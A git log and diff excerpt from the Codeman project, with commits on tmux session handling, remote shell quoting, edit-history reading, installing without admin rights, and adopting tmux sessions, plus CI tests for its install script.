Codeman maintainer b5aa3fbdf7 fix(pi): leave page keys out, and pin the strip that makes the wheel work
transcriptPageKeys applied to every pi, and a pi in `tuiMode: regular` binds
PageUp/PageDown to its editor. It emits no mouse enable, so the flag stays
false, and on a fresh pane the buffer is hollow: the wheel sent PageUp, the
caret of a multi-line draft moved, and the next keystroke landed on the wrong
line. Measured on real pi 1.1.0, 1.4.0 and 1.5.0. Regular mode is not exotic,
it only takes one line in pi's settings. Telling the two modes apart would
need a new capability, since the paging gate takes no id, so pi has no
fallback: a fullscreen pi with "Wheel scrolls local history" on stays where
master left it.

altScreen, the half of the fix that does the work, was pinned by nothing:
reverting it left 1328 tests green. The strip decision table reads its
expected value from the same registry entry. pi now has its own block using
the bytes it really emits, which also pins that focus reporting survives.

The fullscreen default dates from pi 1.0.0, not 1.4.0, so the comments say
that, and the sites still calling pi narrow-strip or main-screen by default
are corrected. Where a comment listed CLIs it now names the capability.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 01:04:01 +01:00
Codeman maintainer 012ca2e971 fix(remote): keep Codeman's pane command away from the remote default-shell
Handing the launch to bash verbatim exposed `"${SHELL:-/bin/sh}"` to the far
end for the first time. tmux runs a one-argument command through the remote
default-shell, not /bin/sh as the comments said, and fish refuses `${...}`:
on a fish host, or a bash login with `set -g default-shell fish`, every new
pane died with status 127. master only survived because the local sh had
already rewritten that token to this host's shell path.

Codeman's own text now goes to `/bin/sh -c` as separate tmux arguments, which
tmux execs without a shell. A commands.* override stays one argument and keeps
the default-shell it was written for: under `/bin/sh` a `source` or `[[` in an
override dies with 127 on bash and zsh hosts.

The tests read the argv tmux would receive through a real sh, so they need no
fish: every stock launch must reach /bin/sh and an override must not. The
docker half of bashCArg was pinned by nothing, so it gets its own test.

Comments that described the removed double-quote layer are corrected, and
remote-hosts.ts no longer claims overrides are seeded from the default text
or that they rescue nushell and elvish.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 00:59:57 +01:00
Codeman maintainer 89a93c871f fix(files): list the git worktree an agent moved into (#765)
Claude Code's EnterWorktree moves the running process into
<repo>/.claude/worktrees/<name>, while Session.workingDir stays on the main
checkout. The Files panel kept walking workingDir, so it listed a tree the
agent had left.

paneCwd already follows the move, measured on Claude Code 2.1.318 in both
directions, so nothing new has to track the agent. It also follows every cd
in a shell, so a new SessionState.liveWorktree narrows it to a linked
worktree, read from the .git file without starting git.

Only a folder strictly below workingDir is ever an answer, and the listing
only starts there: returned paths stay relative to workingDir, so the
preview, raw and edit routes are unchanged and confinement does not widen.
A worktree outside the session folder stays unfollowed.

The panel asks with root=live, shows a strip naming the worktree with a
switch to the session folder, and follows the agent in and out while open.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-05 23:47:38 +01:00
Randalix 58dae1e182 fix(pi): forward the wheel from cliMouseTracking so scrolling survives replay
pi 1.4.0 is an alt-screen TUI that enables mouse tracking once at start.
Codeman's replay (tab switch, reload) drops that mode in xterm
(mouseTrackingMode none, baseY 0), so the wheel hit an empty local buffer
and stayed dead until a resize made pi redraw.

Same shape as copilot: altScreen strip-mux-and-mouse (the server records
the stripped DECSETs as cliMouseTracking, which survives the replay),
wheelForward always, transcriptPageKeys (PageUp/PageDown fallback for a
stale flag, measured on pi 1.4.0). _shouldForwardWheelToApp treats pi like
copilot. Registry pins and docs updated.

Tests: 2 new in terminal-scroll-routing (red before). Full run: 12989
passed, 5 red from the de_DE locale / XDG env (custom-model-run-menu-ui,
git-worktrees, edit-history-sync), all green under LANG=C.UTF-8.

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
(cherry picked from commit 53e4136d9f4401e9250ac6a122599ffcb2a57e8a)
2026-11-05 23:35:14 +01:00
Randalix 21256202ba fix(remote): hand remote/docker launch commands to bash verbatim
respawn-pane runs `bash -c "<ssh …>"` through the local sh, so every `$` in
the remote command is expanded on the Codeman host. withRemoteTmuxPath
(`export PATH="$HOME/.local/bin:…:$PATH"; tmux …`, 5b9445de) therefore sends
the Codeman host's home and PATH to the remote host: a remote user with a
different home (tmux in ~/.nix-profile/bin) gets "tmux: command not found" and
every new remote pane exits 127. `${SHELL:-/bin/sh}` in the remote launch was
the local shell for the same reason.

Remote and docker commands are already quoted for the far end, so they now go
to `bash -c` single-quoted (bashCArg); local commands keep the double-quoted
form. Two tests run the captured respawn-pane line (create and respawn)
through a real sh with a foreign HOME/PATH and check that ssh gets `$HOME` and
`$PATH` unexpanded.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
(cherry picked from commit 2818e9455489b9acd65841258df4cd035609954c)
2026-11-05 23:35:13 +01:00
Codeman maintainer ae28534406 feat(install): install without administrator rights (--no-admin)
Codeman itself always lived under $HOME; administrator rights were only
spent on what it needs first (system packages for Node.js, tmux and git,
Homebrew on a Mac). An account without those rights could not install it:
the installer died in ensure_sudo, or in Homebrew's own installer.

install.sh now has a no-admin route, taken by itself when the account has
no administrator rights (no sudo binary; outside sudo/wheel/admin and
`sudo -n true` fails; a refused sudo password; a Mac account outside the
admin group with no writable Homebrew) and forced with --no-admin or
CODEMAN_NO_ADMIN=1:

- Node.js: the official tarball from nodejs.org, checked against the
  SHASUMS256.txt published beside it, into ~/.codeman/runtime/node.
- tmux: the tmux project's own build (tmux/tmux-builds 3.7c), checked
  against a SHA-256 pinned in the installer, into ~/.codeman/runtime/bin.
- Both are linked from ~/.local/bin (never over a file that is not ours),
  and the runtime is on PATH and on the LaunchAgent's PATH.
- git is never installed. Without a working git the source comes as an
  archive, the install is marked with .install-source, and it updates by
  re-running the installer: the new tree is built beside the old one and
  swapped in only after the build succeeded. A later re-run on a machine
  that has gained git turns it back into a clone.
- Nothing on this route runs sudo, Homebrew or `xcode-select --install`,
  and the route is never decided by `sudo -v`.

What it cannot supply is checked before the first download: a C/C++
toolchain on Linux (node-pty 1.1.0 compiles there), musl, and macOS below
15 (the tmux build's deployment target).

Along the way:

- check_git no longer trusts `command -v git`. On a Mac without the Xcode
  Command Line Tools /usr/bin/git is a stub that opens Apple's install
  dialog; it is judged by `xcode-select -p` and never executed. Any other
  git is asked for its version.
- scripts/git-hooks.mjs answers "not a checkout" without running git, for
  the same reason: postinstall calls it on every npm install.
- The in-app updater knows the install kind `archive` and points such an
  install at the installer instead of `npm i -g aicodeman@latest`.
- download() and download_to_stdout() resolve DOWNLOADER themselves. Only
  main() used to set it, so `install.sh cloudflared` died on `set -u` with
  the message swallowed by the step log.
- The AI CLI menu leaves out a Homebrew-only install command where there
  is no Homebrew.

Verified with the real installer: a bare Ubuntu 24.04 container as an
unprivileged user (install, a PTY round trip through the API, update by
re-run, cloudflared, uninstall), the same without a compiler (stops before
any download), with a broken then working git, with sudo present but not
usable, and on macOS 26 (arm64) in an isolated HOME with sudo, brew, git,
the compilers, launchctl and tailscale replaced by tripwires. Not verified
on a real standard macOS account: that account was an administrator.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-05 18:50:58 +01:00
Codeman maintainer 10d43b993e fix(custom-model): give a session its own env values back when the selection goes
Applying a custom model writes the endpoint's values over the keys it
injects, and clearing the model unset those keys. A session that had set
one of them itself lost that value: its own DSH_HOME, CODEX_HOME,
GROK_HOME or GEMINI_API_KEY was gone once the model was cleared, and so
was CLAUDE_CONFIG_DIR, which silently moved a Claude session onto the
default account. Switching endpoints did the same.

setCustomModel() now records what the session held under each injected
key and restores it on clear and on switch. Quick-start passes the
caller's values to the Session constructor so they are seen before the
selection lands.

The selection overwrites the only other copy, tmux's setenv, so the
session's own home directory has to survive a Codeman restart on its
own. __customModel therefore stores that one path, the single exception
to persisting keys only, and recovery runs it through
clampEnvOverridesForOwner() so a revoked grant cannot bring it back. Any
other own value, a credential included, stays in memory only.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-05 14:25:49 +01:00
Codeman maintainer 46b85fa6d0 chore: bump Playwright to 1.64.1 and unpin the browser suite
Playwright supports Ubuntu 26.04 from 1.61.0, so the browser suite can go
back to ubuntu-latest. Raises the floor in package.json as well, because
the old ^1.58.0 still admitted versions that refuse to install on the
image every workflow now runs on. Bundled Chromium moves from 148 to 156.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-05 14:22:41 +01:00
Codeman maintainer aa463d9d28 ci: pin the browser suite to ubuntu-24.04
ubuntu-latest moved to 26.04 and the locked Playwright 1.60.0 refuses to
install chromium there (support starts at 1.61.0), so the nightly stopped
before running a test. Pin to the image of the last green run, so a failure
now points at our code rather than at a new OS and Chromium. Unpin when
Playwright is bumped.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-05 14:15:43 +01:00
RandalixandClaude Opus 5.5 cce28c24f9 test(edit-history): session-aware deps in the tests added by the #693 review
The probe-stall test and the removal test were written against the path-only deps. With the session argument the first failed outright and the second passed without reaching the probe. Both now use the real shape; removing the isRemoved() guard turns the second red. The route comments no longer call remote sessions unsupported.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-05 11:22:26 +01:00
RandalixandClaude Opus 5.5 f27fda0f45 test(edit-history): the live conversation wins even when older; tighter wiring guard
Review round 3 (all low):
- the "written last" test left solo newer than conv-1 for the rest of the
  file, so the live test passed by mtime alone. solo's mtime is reset in a
  finally, and the live test now runs with the live transcript older than
  the stored one (a /resume into an older conversation before it writes).
- the server wiring guard matches the remote branch of the ternary as one
  expression, so swapped branches fail it.
- note on whole-second `-nt` (BusyBox, bash 3.2) at the lookup.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
2026-11-05 11:20:01 +01:00
RandalixandClaude Opus 5.5 5bcec26066 fix(edit-history): a remote lookup takes the conversation written last, not the first id's
Review round 2: with the stored conversation tried before the launch id, a
respawn that resumed the launch conversation after a /clear was missed once
claude exited again: the cleared-to conversation still had a file and won,
so the edits made after the resume were never read. No fixed order of the
ids is right both after a /clear and after such a resume. Without a live
conversation the lookup now takes the most recently written transcript of
all known ids (stored, claudeSessionId, id); the live one still goes first.

Also from the review:
- the remote no-transcript note and the docs name login profiles too
  (.profile, .bash_profile): sshd's `bash -c` reads neither, like .zshrc;
- a wiring guard pins that server.ts looks a remote transcript up with
  remoteTranscriptIds and leaves the local lookup on the hook path;
- the browser tests undo the injected remote session in a finally.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
2026-11-05 11:20:01 +01:00
RandalixandClaude Opus 5.5 0a6a877415 fix(edit-history): remote reads get time for their size, follow CLAUDE_CONFIG_DIR, keep the conversation after /clear
Review findings on the remote edit history:

- A forward read may carry 13 MiB and "Load older" 29 MiB; the flat 30 s
  read timeout cut those off below ~1 MiB/s. The timeout now adds the
  transfer time at 256 KiB/s (remoteEditSourcesTimeoutMs). It ends a hung
  read, it does not cut a slow one.
- The transcript lookup looked only under $HOME/.claude. It now uses an
  absolute CLAUDE_CONFIG_DIR of the ssh command's environment, else
  $HOME/.claude, for both the projects and the live sessions/<pid>.json.
  A value set only in .zshrc stays invisible (the lookup is a plain sh);
  documented, and the panel's remote no-transcript note says so instead
  of promising the next prompt (a remote host sends no hooks).
- After a remote /clear claudeSessionId stays the launch id, so once the
  remote claude exited the lookup fell back to the cleared conversation
  and the panel flipped back. The sync now hands the lookup the stored
  conversation, tried right after the live one (remoteTranscriptIds).

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
2026-11-05 11:19:52 +01:00
RandalixandClaude Opus 5.5 c4ba14235f feat(edit-history): read remote (SSH) claude sessions, never waking the host
The edit history panel now covers remote claude sessions. The sync stays
path-based; its deps get the session and server.ts routes them to the local
reader or to two new ssh reads in remote-files.ts:

- remoteLocateClaudeTranscript: one round trip; the conversation the remote
  pane's claude writes now (~/.claude/sessions/<pid>.json via the pane's
  process tree, since remote hosts send no hooks), else claudeSessionId,
  else the session id, newest $HOME/.claude/projects/*/<id>.jsonl.
- remoteReadClaudeEditSources: one round trip per read pass, with the local
  reader's semantics (offset clamp, block end at offset+len, new files read
  their tail, shared main-first budget, onlyRequested, 8 KiB meta cap).

So /clear catch-up, "Load older", cursors and the store LRU work remotely
unchanged. Reads use buildRemoteFileCommand + runWithRemoteSshLimit only:
a sleeping host is a connect timeout -> unavailable, stored entries kept.

Tests: both scripts run on a real sh against a temp HOME; the read is
compared byte for byte with readClaudeEditSources on 60 seeded random
transcripts. A transitive import guard pins that the edit-history read path
reaches neither remote-wake.ts nor session-routes.ts. Browser: a remote
session lists images without thumbnails, a click previews. Docs updated.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
2026-11-05 11:19:46 +01:00
Codeman maintainer 5929584ea4 fix(cases): serialize every write to linked-cases.json
Five routes changed the linked-cases registry: link, unlink, rename, and a
create or clone into a custom folder. Each read the file, checked it and wrote
it back on its own, so two requests that both read before either wrote lost
an entry. Two clones that claimed one name and finished together both passed
the name check, both answered success, and the later write replaced the
earlier entry. The same race made "a name linked while the clone ran is a
409" in test/routes/case-clone-custom-folder.test.ts fail about half the time.

- New src/web/linked-cases-writer.ts, mutateLinkedCases(), shaped like
  mutateSettingsFile(): mutations run one at a time, each write is a temp
  file renamed over the registry (through a symlink, keeping its mode), and
  a file that is not a JSON object is refused (409 CONFLICT) instead of being
  read as {} and overwritten.
- All five writers go through it, with their name checks inside the
  callback, so exactly one of two requests for one name wins. Rename also
  re-checks that the old name still points at the old folder, and drops its
  manual registry undo, since a failed write no longer changes the file.
- Tests: test/linked-cases-writer.test.ts (writer behaviour, and concurrent
  link/unlink through the routes with slowed writes, which fail on the old
  code). Tests that forced a failed registry write with chmod 444 or a
  directory now inject the failure at the rename, or expect the refusal.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-05 02:11:27 +01:00
Devvyn b89de128e1 docs(picker): name both pickers in the manual and cover the clone picker in the New folder test 2026-11-05 08:15:40 +08:00
Devvyn cddfb48ea6 feat(picker): New folder button for Create New's custom folder picker
Turns on the picker's New folder button for "Choose the folder to create the
case in", the folder picker behind Create New's custom folder option.
2026-11-05 07:30:29 +08:00
Codeman maintainer 9eac5ecf01 test: wait for the first read before starting the other edit history sessions
The gate belonged to whichever read arrived first, and sessions load their stores
independently, so under CI timing another session took it, the loop never reached
release() and the test timed out (master, CI run 41930703100). The code cannot block
one session on another: sync() only waits on its own slot.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-05 00:21:12 +01:00
Codeman maintainer 87c656283d feat(codex): let Codex sessions drive other sessions through the codeman skill
Measured on 1.47.0 with the same "spawn a shell worker, echo, read, delete"
task: DeepSeek Harness and OpenCode already pass end to end; Codex 0.162
failed three ways, fixed here.

- Start Codex 0.162+ with --no-daemon (new noDaemonFlag gate, fail-closed).
  The shared app-server daemon stopped every launch on an "incompatible
  feature settings" dialog when another version's daemon was running, and
  ran commands with another session's CODEMAN_* environment.
- Evaluate registry version gates against the gated CLI's own version
  (resolveSessionCliVersion) instead of claude's for every entry.
- Add the opt-in synced setting App Settings > Codex > Allow network access
  (codexNetworkAccess, default off): --config
  sandbox_workspace_write.network_access=true, filled as a launch default
  and clamped off for non-granted owners like the bypass switch.
- Skill: carry on with the curl path when `codeman` is not on PATH, re-run a
  sandbox-blocked call once through the CLI's approval path, name the new
  setting. Wiki and registry docs updated.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-01 06:21:38 +01:00
Codeman maintainer 538fcae708 fix(response-viewer): lay out Persian, Arabic and Hebrew right to left (#715)
The Response Viewer and the File Viewer's markdown view gave no block a
dir, so a right-to-left answer was left-aligned with its punctuation on
the wrong end and its bullets and quote bar on the left.

_renderMarkdown now gives each outermost prose block dir="auto" (nested
blocks inherit, so a list keeps its markers on one side), pins pre and
code to dir="ltr", and keeps a dir the agent wrote. _linkifyFilePaths
pins the path anchors it creates to ltr. Because dir="auto" skips
descendants that carry a dir, code and paths no longer decide a
sentence's direction. The list indent, quote bar and table borders move
to logical properties, and the phone Compose textarea gets dir="auto".

The terminal pane is unchanged: xterm.js has no right-to-left support
(xtermjs/xterm.js#701).

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
2026-10-25 16:03:41 +01:00
shenlvkang-collab bbd840adba fix(files): share File Viewer scan budget across directories 2026-10-13 20:01:33 +08:00
Codeman maintainer 0a63588716 feat(docker): guided first run for the Compose deployment
A new Docker install was: clone (undocumented), copy .env.example by hand,
fix an Unraid data path and a Perth time zone, replace `changeme`, run the
start script, and then guess when the server was up. Start-Codeman.sh now
does all of it from a fresh clone:

- Preflight names the fix for a missing docker CLI, a missing or too-old
  Compose plugin (config --environment needs 2.27.2, docker/compose#11891),
  and an unreachable daemon (docker group, never sudo).
- With no docker/.env, it asks three questions (data folder, port,
  password; Enter takes each default: ~/codeman-docker, 3000 or the next
  free port, a generated password) and writes docker/.env FROM the example,
  so every key the updater's diffRequiredEnvKeys expects is present. Mode
  0600, host time zone, values Compose would interpolate single-quoted.
  Refuses $HOME, ~/.codeman (a native install's state dir) and anything
  inside the checkout (the image build context). --yes / no TTY take the
  defaults, --setup-only stops after writing the file. An existing .env is
  never edited, and root never runs the setup (Unraid keeps the hand route).
- After `up`, it waits until the server answers (docker exec probe, crash
  loop caught by the restart count) and prints the URL, the LAN URL, the
  generated password and the logs/stop commands; --no-wait skips the wait.
- `changeme` is refused before anything starts (the container publishes on
  every interface and holds the Docker socket); Update-Codeman.sh checks it
  before its build and down so the stack is never left stopped.
- Compose settings are read with ONE config --environment call, with its
  error reported, instead of three silent ones.

docker-compose.yaml and server.Dockerfile are untouched (their hashes gate
the in-app updater), and .env.example changes values and comments only.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
2026-10-09 19:14:49 +02:00
d fei 09ccffd32e fix(adopt): never drive, write to, or answer for a session we did not start
Review items 3, 4 and the smaller ones on #510. An adopted session wraps a
process someone else launched, and its mode is whatever the probe saw — very
often `claude`. Every guard below is therefore its own `isAdopted` check rather
than a side effect of the external-CLI rule: the two ask different questions,
and merging them means the day the first loosens, Codeman starts acting on a
live conversation that is not ours.

- The boot workspace-hook sweep skipped only non-claude and `session.remote`.
  An adopted session keeps its connection on `adopt.remote` / `adopt.docker`,
  so a tab wrapping someone's in-container or over-ssh claude looked local and
  Codeman wrote `.claude/settings.local.json` into their repo on every restart.
- The workspace-trust auto-accept read the pane and pressed keys for 90s after
  `startInteractive()`. In an adopted pane that is someone else's dialog, and
  boot recovery re-opens the window on every restart.
- Auto-clear, auto-compact, auto-resume and the Ralph auto-enable in
  `POST /interactive` all drove the pane. Each now refuses with its own gate.
- The wrapper's `workingDir` was the foreign pane's cwd. That cwd can carry
  characters outside SAFE_PATH_PATTERN (`~/c++`, `Program Files (x86)`), which
  makes `createSession` throw so the tab never starts, and for a container or
  ssh candidate it is not a path on this host at all. It is now a neutral local
  `/tmp`, the same cwd `resolveMuxAttachCwd` already gives the pane; the foreign
  cwd stays on `adopt.paneCurrentPath` for display.
- The CLI signature table hardcoded ids, which CLAUDE.md forbids outside
  `stock.ts`, and had already gone stale: `omp` was missing, so a hand-started
  omp pane read as `shell`. It is now derived from each entry's
  `discovery.binaries` at call time, regex-escaped, longest name first. Stock
  entries only, since `SessionMode` is the closed union of stock ids.
- The descendant walk now passes `onTruncated`. A capped walk returns "nothing
  matched", which is byte-identical to the answer for a real shell.
- The home screen's wide scan is one-shot. Riding `docker exec` and a full ssh
  handshake per target, each with a ~12s timeout, on the 8s poll stacked
  connections on a slow host. Wide rows are kept apart and merged, because a
  local-only payload cannot contain them.
- Adoption failures report the server's own message. `_apiJson` folds a non-2xx
  to null, which collapsed "could not reach it just now" into "that session is
  gone" and reported a live remote session as deleted on every link flicker.

Tests: route tests for the refusals, the admin gate, the 404 re-resolve, the
one-wrapper-per-target reuse and the adopt round-trip; unit tests for the two
non-HTTP guards, the registry-derived signatures, truncation reporting and the
frontend's scan and error paths. Each guard was removed in turn to confirm its
own tests go red.
2026-09-30 23:29:54 -07:00
d fei aec4867821 fix(adopt): never create a session on someone else's tmux server
Review items 1 and 2 on #510.

`tmux new-session -t <name>` does not fail on a missing target. Measured on
3.3a: with only `work-prod` present it joined that session's group, with
nothing matching it opened a fresh shell, and on an empty socket it started a
tmux server that had none. The command re-runs whenever the wrapper pane is
respawned, and boot recovery does that for every dead pane, so after the owner
exits their session the next Codeman restart would put a new shell on their
default socket, in their container, or on their ssh host.

The invocation now begins with an exact-match `has-session -t '=<target>'` and
exits with a message when it misses. Measured: `has-session` does not start a
server on an empty socket, and the `=` prefix is what stops it matching
`work-prod` by prefix. `=` cannot go on `new-session -t` itself — tmux reads it
as part of the name and creates a group literally called `=work` — so it has to
be its own command.

The read-only `attach-session -r` fallback is gone rather than fixed. It hung
off `||`, so it fired on ANY `new-session` failure and not just an old tmux: a
leftover view from a previous adoption of the same Codeman session makes
`new-session` report `duplicate session` (measured), and the user then got a
read-only client showing the owner's status bar, with typed input dropped,
while the API reported success. Our own stale view is now removed first with a
`kill-session -t '=<our view>'` — the view name is derived from the Codeman
session id so it is provably ours, and measured, killing by name touches only
that session and leaves the owner's alone. Nothing to remove is the normal
case, so that step must not abort the chain.

`SessionAdopt.readOnly` goes with it. It was never set and never read, while
its comment claimed the UI surfaced it. Adoption now either attaches a writable
view or fails with a message; there is no third state.
2026-09-30 23:29:39 -07:00
d fei 245ee68c7c feat(adopt): adopt tmux sessions a human started, in all three locations
A tmux session someone opened by hand (`tmux new -s work`, then `claude`, or
just a shell) is invisible to Codeman: it lives on the default socket, not the
instance-scoped one Codeman owns. The home screen now lists those, and one
click wraps one in a Codeman tab. Local, in-container and over-ssh all work.

The shape is a WRAPPER session, not a direct attach: adoption creates an
ordinary `codeman-<8hex>` session on our own socket whose pane runs the
attach. That makes "detach, never kill the foreign session" structural rather
than a matter of discipline — `killSession` can only ever reach our own
wrapper, so no shape of caller bug reaches the foreign server. View reclamation
differs by location: local relies on client death and ssh on SIGHUP, but a
`docker exec` does NOT die with its client, so the in-container view has to be
reclaimed explicitly on kill or every adoption leaks one.

Measured facts, recorded in the code comments:

- A grouped session (`new-session -t`) buys `status off` and an independent
  current window. It does NOT buy an independent size. A window is one object
  with one size and a group shares it: on tmux 3.3a a bare attach and a grouped
  attach both shrink a 200x49 target to 80x23. Only `window-size largest` holds
  it, and that is a shared window option which survives our detach, so setting
  it would permanently rewrite the owner's configuration. Left unset.
- Session names come from other people, while the local launch chain ends in
  `bash -c` + `JSON.stringify`, which escapes neither `$` nor backticks — the
  outer shell performs command substitution before the inner single quotes are
  considered (verified: both substitutions inside the inner quotes ran). So
  session names and socket paths go through a character allowlist and are
  dropped at DISCOVERY, which means a non-conforming candidate never gets an
  id and the adopt endpoint fails closed when it re-resolves.
- `pane_current_command` is `node` for both claude and codex, so the mode can
  only come from a bounded process-tree walk of `pane_pid`'s argv; anything
  unrecognized is treated as a shell.

An adopted session has to say no to every assumption that Codeman owns the
pane: respawn, Ralph, the orchestrator and hook waits all refuse. The hook
check runs BEFORE the mode check, because adoption asks who launched the
process and no mode can vouch for a workspace Codeman never touched. `paneExit`
is forced to unknown, since the pane runs `tmux attach` rather than the agent
and its exiting with 0 only means the connection ended. Reboot restore refuses
too: all Codeman ever had was an attach command, and replaying it would build a
connection to a foreign session a reboot has almost certainly taken with it,
while presenting whatever it lands on as a session we restored.

Adoption is admin-only under multi-user mode: adopting someone's shell is
equivalent to arbitrary host execution. Discovery is read-only, never creates a
session, and degrades to an empty list whenever a probe cannot reach its target.
2026-09-29 18:01:47 -07:00
315 changed files with 62494 additions and 1688 deletions

No files matched your search

+1 -1
View File
@@ -10,7 +10,7 @@
"name": "codeman",
"source": "./plugins/codeman",
"description": "Drive Codeman from inside a Claude Code session: spawn worker sessions, prompt them, wait for them, read their answers, clean up. Acts inside a Codeman-managed session; outside one it only reads saved Codex conversations offline.",
"version": "1.48.0",
"version": "1.50.0",
"author": {
"name": "Ark0N",
"url": "https://github.com/Ark0N"
+1
View File
@@ -69,6 +69,7 @@ shared-host, multi-user, or tunneled deployments.
- **Multi-instance tmux socket is process-wide.** Two Codeman instances on the same `CODEMAN_INSTANCE` share a tmux socket and can attach each other's live sessions — isolate with distinct `CODEMAN_INSTANCE` values.
- **The live log-tail route reads `/var/log` and `~/logs`** in addition to the session working directory (read-only) — a deliberate choice for tailing system/app logs. On a password-protected remote deployment an authenticated user can therefore read those roots outside their session. See `docs/security-architecture.md` §5.
- **The local model runtime listens on a loopback port with no login.** The model server the local model install starts (macOS only, opt-in by a click) accepts requests from any process of any account on the Mac, and from any page served from `localhost`, like every model server of its kind. Codeman limits what that buys (one model in the endpoint record, a digest check before an agent is started on it) but does not authenticate the port. See `docs/security-architecture.md` §10d.
- **The web-tab proxy fetches from the server's network position.** Any authenticated user can save a dashboard URL on loopback or a private range and have Codeman relay to it; that is the feature. Link-local and cloud-metadata addresses are the only refused targets (see below). On a shared host, restrict who holds an account.
Recent hardening (2026-09-04): the web-tab proxy, its "Test" probe and its
+84
View File
@@ -80,6 +80,35 @@ jobs:
CLI_DETECT_DONE=""; detect_all_clis
offer_ai_cli_install >/dev/null 2>&1
echo "bash $BASH_VERSION: skipping the AI CLI install menu continues"
# --ai-cli answers the same menu with no terminal: `none` carries on, and a
# name runs that one entry (bash 3.2 cannot expand an empty offer list under
# set -u, which is the guard the loop over it has to get right).
has_tty() { return 1; }
AI_CLI_CHOICE=none
offer_ai_cli_install >/dev/null 2>&1
AI_CLI_CHOICE=codex
k=0; while [[ $k -lt ${#CLI_INSTALL_CMD_TRUSTED[@]} ]]; do
CLI_INSTALL_CMD_TRUSTED[$k]=""
k=$((k + 1))
done
offer_ai_cli_install >/dev/null 2>&1
echo "bash $BASH_VERSION: --ai-cli answers the menu, also with nothing to offer"
# What the desktop app runs: preflight on stdout, and only JSON there. These
# child runs must not inherit CODEMAN_INSTALL_SH_LIB, or they stop at the
# sourcing guard and print nothing. Each check ends in `|| exit 1`, because
# bash 3.2 does not let a false [[ ]] trip set -e.
out=$(env -u CODEMAN_INSTALL_SH_LIB bash /w/install.sh preflight --no-admin)
[[ "$out" == "{\"schema\":1,"* && "$out" == *"]}" ]] || { echo "preflight printed: $out"; exit 1; }
json_string "a\"b\\c" >/tmp/json-out
[[ "$(cat /tmp/json-out)" == "\"a\\\"b\\\\c\"" ]] || { echo "json_string printed: $(cat /tmp/json-out)"; exit 1; }
echo "bash $BASH_VERSION: preflight prints JSON"
# How the desktop app adds an agent: a real run of the subcommand, which stops
# on the missing npm before it could install anything.
if out=$(env -u CODEMAN_INSTALL_SH_LIB bash /w/install.sh agent codex --no-admin --progress 2>&1); then
echo "agent ran with no npm to run"; exit 1
fi
[[ "$out" == *"@@codeman phase agent"* && "$out" != *"@@codeman phase done"* ]] || { echo "agent printed: $out"; exit 1; }
echo "bash $BASH_VERSION: agent stops without saying done"
'
# Issue #382: the dsh identity probe builds an OPTIONAL `timeout` prefix as an
# array, and on stock macOS there is no `timeout`, so the array is empty and the
@@ -151,6 +180,61 @@ jobs:
RECONFIGURE=0; parse_flags --port 4001; [[ "$RECONFIGURE" == "1" ]]
echo "bash $BASH_VERSION: question phase (flags, launch default, occupied :443, rename opt-in, kept password, start line) ok"
'
# No-admin route: the helpers that decide what gets downloaded and whether it is
# trusted (the Node.js checksum pick, the tmux digest table, the verify step), the
# stop-before-download check, and an archive install plus its replacement, all
# in bash 3.2. This image is Alpine, so it is also the one place the musl branch
# runs for real: a machine the route cannot serve must stop BEFORE a download.
docker run --rm -v "$PWD":/w -w /w -e CODEMAN_INSTALL_SH_LIB=1 -e HOME=/tmp/h bash:3.2 bash -c '
set -euo pipefail
mkdir -p /tmp/h /tmp/src/Codeman-1/src
. /w/install.sh
sha=$(printf "%064d" 7)
sums=$(printf "%s node-v22.1.0-linux-x64.tar.gz\nnothex node-v22.1.0-linux-arm64.tar.gz\n" "$sha")
[[ "$(printf "%s\n" "$sums" | pick_node_tarball linux-x64)" == "$sha node-v22.1.0-linux-x64.tar.gz" ]]
if printf "%s\n" "$sums" | pick_node_tarball linux-arm64 >/dev/null; then
echo "accepted a checksum that is not 64 hex digits" >&2; exit 1
fi
for p in linux-x86_64 linux-arm64 macos-arm64 macos-x86_64; do
d=$(tmux_build_sha256 "$p"); [[ ${#d} -eq 64 ]]
done
printf codeman > /tmp/f; good=$(sha256_file /tmp/f); [[ ${#good} -eq 64 ]]
verify_sha256 /tmp/f "$good"
if verify_sha256 /tmp/f "${good%?}x" || verify_sha256 /tmp/f ""; then
echo "accepted a wrong or empty checksum" >&2; exit 1
fi
is_musl_libc
NO_ADMIN=1; NONINTERACTIVE=1
download() { echo DOWNLOADED; }; download_to_stdout() { echo DOWNLOADED; }
check_node() { return 1; }; check_tmux() { return 1; }; check_git() { return 1; }
check_build_tools() { return 0; }
if out=$( (ask_dependencies_no_admin linux) 2>&1 ); then
echo "did not stop on a musl system" >&2; exit 1
fi
case "$out" in
*DOWNLOADED*) echo "downloaded before stopping: $out" >&2; exit 1 ;;
*musl*) ;;
*) echo "stopped for the wrong reason: $out" >&2; exit 1 ;;
esac
# An archive install, then its replacement beside it (busybox tar, bash 3.2).
printf "{ \"version\": \"1.0.0\" }\n" > /tmp/src/Codeman-1/package.json
tar -czf /tmp/one.tar.gz -C /tmp/src Codeman-1
printf "{ \"version\": \"2.0.0\" }\n" > /tmp/src/Codeman-1/package.json
tar -czf /tmp/two.tar.gz -C /tmp/src Codeman-1
INSTALL_DIR=/tmp/h/app; LOG_FILE=/dev/null
download() { cp "${1#file://}" "$2"; }; run_step() { shift; "$@"; }
